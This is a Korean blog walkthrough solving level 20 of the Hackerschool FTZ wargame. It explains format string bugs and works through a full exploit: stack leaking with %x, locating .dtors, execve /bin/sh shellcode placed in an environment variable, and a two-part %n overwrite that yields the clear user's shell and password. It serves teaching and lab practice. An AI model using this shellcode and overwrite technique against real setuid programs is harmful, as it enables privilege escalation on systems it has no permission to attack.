본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level20 -> clear ) + 포맷스트링버그의 이해 by ORANG

FTZ_level20

 

마지막 문제네요ㅎㅎ level20은 포맷스트링 문제입니다

지금까지 풀어온 BOF와는 다른 방법을 이용해야하죠

먼저 포맷스트링버그( FSB : Format String Bug )에 대한 개념부터 가볍게 잡겠습니다.

 

음.. 포맷스트링은 c언어 printf 에서 사용하는 %d, %x, %f 같은 문자 입니다.

 

 %c  단일 문자 

 %d  부호 있는 10진 정수

 %i  부호 있는 10진 정수, %d 와 같음

 %f  부호 있는 10진 실수

 %s  문자열

 %o  부호 없는 8진수

 %u  부호 없는 10진수

 %x  부호 없는 16진수

 %e  부동 소수점 표기, e 사용

 %n  쓰인 총 바이트 수

등이 있죠ㅎㅎ

여기서 FSB에 가장 중요한 포맷스트링은 %x와 %n입니다

%x는 부호없는 16진수 출력이죠 -> 16진수 출력이라면 메모리를 읽어낼때 좋겠네요

%n은 이전까지 입력되었던 문자열의 길이(Byte)수 만큼 %n이 가리키는 주소에 저장시킵니다.

따라서 %n을 사용하면 메모리의 변조가 가능하겠죠?

 

포맷 스트링 공격은 포맷스트링을 사용하지 않고 출력하는 함수에 대해 공격이 가능합니다.

예를들자면 

char[] itstest =“apple”;

printf(itstest);

같은 형식에 대해 공격가능합니다. itstest에 포맷 스트링을 넣어주는거죠!!

만약 itstest에 “%x %x %x”이 들억나다고 한다면

printf(itstest)는 printf(“%x %x %x”)이 되겠죠?? 여기서 문제가 발생합니다.

포맷 스트링에 매칭되는 변수가 없을 경우, 스택으로부터 4바이트씩 높여가며 해당 주소의 값을 대입하는 버그가 발생합니다.. 그렇다면 포맷 스트링 버그를 통해 메모리 구조를 볼 수 있겠죠? 게다가 %n을 통해 메모리 변조까지 가능합니다!!

또, 호출 시점에 대해 설명하겠습니다.

C언어에서도 C++과같이 생성자, 소멸자의 개념이 있습니다.. 사실 저도 C언어에도 생성자, 소멸자의 개념이 있다는 걸 이 떄 처음 알았습니다.ㅎㅎ 어쨋든.. C언어에도 생성자와 소멸자 개념이 있다면, main함수가 종료되는 시점에 소멸자가 호출되겠네요

이부분을 셸코드로 바꾼다면 셸을 획득할 수 있습니다

 

너무 간단하게 설명한 느낌이 있긴 하지만.. level20의 문제를 풀면서 보겠습니다!

먼저 bash2를 띄우고!! 힌트를 보겠습니다!!

 

 [level20@ftz level20]$ bash2

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}

 

 

fgets로 입력받는 문자열의 길이에 제한을 79로 두었기 때문에 그동안 풀어온 BOF로는 문제를 풀 수 없겠네요..

printf(bleh); -> 이부분에서 포맷스트링공격이 가능함을 예상할 수 있습니다.

먼저 실행시켜보며 반응을 보겠습니다.

 

 [level20@ftz level20]$ ./attackme

AAAA

AAAA

[level20@ftz level20]$ ./attackme

%x %x %x %x

4f 4212ecc0 4207a750 25207825

[level20@ftz level20]$ ./attackme

%08x %08x %08x %08x

0000004f 4212ecc0 4207a750 78383025

 

 

%x를 넣어줬을 때, 메모리를 읽어낸 듯한 느낌이 옵니다. 

더 시도해보겠습니다.

 

 [level20@ftz level20]$ ./attackme

AAAA %08x %08x %08x %08x %08x

AAAA 0000004f 4212ecc0 4207a750 41414141 38302520


어? AAAA로 입력한 부분이 뒤에서 다시 출력됨을 확인할 수 있습니다.

이것으로 메모리구조를 어렴풋이 생각해볼 수 있겠네요


[level20@ftz tmp]$ gdb ./attackme

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

No symbol "main" in current context.

gdb를 통해 분석하려 했지만 main 함수가 보이지 않네요? 심볼이 지워진 듯합니다.

 

 (gdb) info func

All defined functions:


Non-debugging symbols:

0x080482c8  fgets

0x080482d8  __libc_start_main

0x080482e8  printf

0x080482f8  setreuid

(gdb) disas __libc_start_main

Dump of assembler code for function __libc_start_main:

0x080482d8 <__libc_start_main+0>: jmp    *0x80495b0

0x080482de <__libc_start_main+6>: push   $0x8

0x080482e3 <__libc_start_main+11>: jmp    0x80482b8

End of assembler dump.

찾아보니 main은 없고 __libc_start_main, start main이 있는데 확인해보니

gdb로는 정보를 찾기 힘들 것 같습니다..

쿨하게 원래 하려던대로 포맷스트링버그를 이용하겠습니다ㅋㅋ

 

 [level20@ftz level20]$ ./attackme

AAAA %08x %08x %08x %08x %08x

AAAA 0000004f 4212ecc0 4207a750 41414141 38302520

 

이 부분을 보면, AAAA로부터 3개의 %x를 지나고, 4번째 %x에 AAAA가 출력됨이 보입니다.

printf 함수 뒤로 12바이트 후에 AAAA가 있겠군요?

메모리 구조를 추측해보겠습니다.

 

RET [4]

SFP [4]

dummy [ ? ]

bleh [80]

dummy [12]

printf(bleh)

 

이 되겠네요ㅎㅎ

 

먼저 level20 문제를 풀기 전에, %n을 이용한 메모리 변조 방법에 대해 보겠습니다.

포맷스트링의 입력 패턴은

(printf “AAAA낮은주소BBBB높은주소”)%8x%8x%8x%정수c%n%정수c%n

입니다.

낮은주소, 높은주소를 나누는 이유

 -> 숫자가 너무 커 메모리를 한번에 덮어쓸 수 없는 경우, 2바이트씩 나누어 반씩 넣어주기 위함입니다. 

%8x 

-> 4바이트씩 스택상의 거리 이동

%정수c%n

 -> 정수부분을 조절하여 길이를 조절함, 덮어쓸 숫자를 결정

( 앞에서 언급했지만 %n은 이전까지 입력된 길이의 값을 %n이 가리키는 주소에 저장합니다. 정수를 조절해 입력길이 값을 조절하는 방법이죠 )

 

이부분을 이해하는게 중요합니다!! 조금 더 설명하자면.. 

%8x%8x%8x 로 스택상으로 12바이트 이동한 후에 bleh가 시작됨을 알수있습니다.

그럼 %8x%8x%8x가 지난 시점에서, esp는 “AAAA낮은주소BBBB높은주소…생략…”을 가리키고 있겠죠?

1번째 %정수c는 AAAA를 정수 길이로 출력포맷을 만들며 %c 포맷스트링 지정자에 의해 스택상으로 4바이트 더 이동합니다. 그렇다면 esp는 낮은주소를 가리키겠네요. 현재 esp가 가리키는 이 주소에 1번째 %n지정자 까지의 길이값을 저장합니다. 그 후 %n지정자에 의해 스택상으로 4바이트 더 이동합니다. 그렇다면 esp는 BBBB를 가리키겠죠? 2번째 %정수c는 BBBB를  정수 길이 만큼 출력포맷을 만들고, %c포맷 스트링 지정자에 의해 스택 상으로 4바이트 더 이동합니다. 이제 높은주소를 가리키겠네요ㅎㅎ 2번째 %n 이전까지의 길이값을 현재 esp가 가리키는 주소(높은주소)에 저장합니다.

이게 포맷스트링버그의 원리입니다 조금 복잡하죠??ㅎㅎ 문제를 풀며 보겠습니다~

 

 [level20@ftz level20]$ objdump -h attackme | grep .dtors

 18 .dtors        00000008  08049594  08049594  00000594  2**2

 

objdump -h 옵션으로 심볼을 출력한뒤에, dtors(소멸자) 부분을 찾았습니다.

소멸자의 주소는 0x08049594 +4 한 0x08049598에 있겠네요!!

 

환경변수에 셸코드를 올린 후, 공격해보겠습니다

 

 [level20@ftz tmp]$ export ORANG=`perl -e 'print “\x90”x1000,”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”,"\x90"x30'`

[level20@ftz tmp]$ echo $ORANG

1??h//shh/bin??S????

                    ??

[level20@ftz tmp]$ vi getenv.c

[level20@ftz tmp]$ cat getenv.c

int main(void)

{

printf("ORANG's ADDR -> 0x%x\n", getenv("ORANG"));

}

[level20@ftz tmp]$ gcc getenv.c -o getenv

[level20@ftz tmp]$ ./getenv

ORANG's ADDR -> 0xbffffb13

 

셸코드를 올린 주소는 0xbffffb13 이네요!

소멸자의 주소인 0x08049598에 셸코드 주소를 올려야하는데요 여기서 문제가 발생합니다.

앞에서 말했지만, 0xbffffafe는 너무 크기가 크기 때문에 %n을 이용해 한번에 덮어씌울 수 없습니다.

그래서 2바이트씩 나누어, 0x08049598, 0x0804959a 에 반씩 넣어주겠습니다~~

 

 [level20@ftz level20]$ (perl -e 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08","%8x%8x%8x","%정수c%n","%정수c%n"'; cat) | ./attackme

 

기본 틀은 이렇게 되겠네요 %08x%08x%08x 앞에 주소 부분을 보면,

낮은주소낮은주소높은주소높은주소 형식이 보입니다.

이제 메모리 계산을 통해 %정수c%n 부분 2군데를 낮은주소에 0xfb13, 높은주소에 0xbfff가 들어가도록 정수부분을 수정해야겠네요. 그럼 결과적으로 0xbffffb13가 0x08049598에 들어가겠네요ㅎㅎ

메모리 계산을 해보겠습니다.

여기서 다시한번 중요한건 !! %n은 이전까지 입력된 길이의 값을 입력한다는점입니다.

0xfb13 ( 10진수로 64275 ) 0xbfff ( 10진수로 49151 ) 을 써야 합니다.

첫번째 %정수c%n 앞에 입력된 길이는 4+4+4+4+8+8+8, 40입니다.

0xfb13 - 40바이트 —> 64275-40 = 64235 를 첫번째 정수에 넣어주면 되겠군요!!

두번째 %정수c%n을 보겠습니다 먼저 입력된 길이(64275)가 0xbfff(49151)의 크기를 넘어섰기 때문에

0x1bfff가 들어가게끔 만들어줍니다. -> 0x1bffffb13 이 들어가면 0x08049598에는 bffffb13이 남게 됩니다!!

0x1bfff - (40+64235)바이트 —> 10진수로, 114687-64275 = 50412 를 두번째 정수에 넣어주면 됩니다!

 

그럼 공격해보겠습니다!!

 

 [level20@ftz level20]$ (perl -e 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08","%8x%8x%8x","%64235c%n","%50412c%n"'; cat) | ./attackme


…생략…

    

                                                                                                                B


id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

 

 

ㅎㅎ FTZ의 마지막, clear의 셸을 획득했습니다!!

 

드디어 FTZ가 끝났네 요ㅎㅎ 이제 틈틈이 LOB를 풀며 정리하겠습니다~~



 

읽어주셔서 감사합니다!!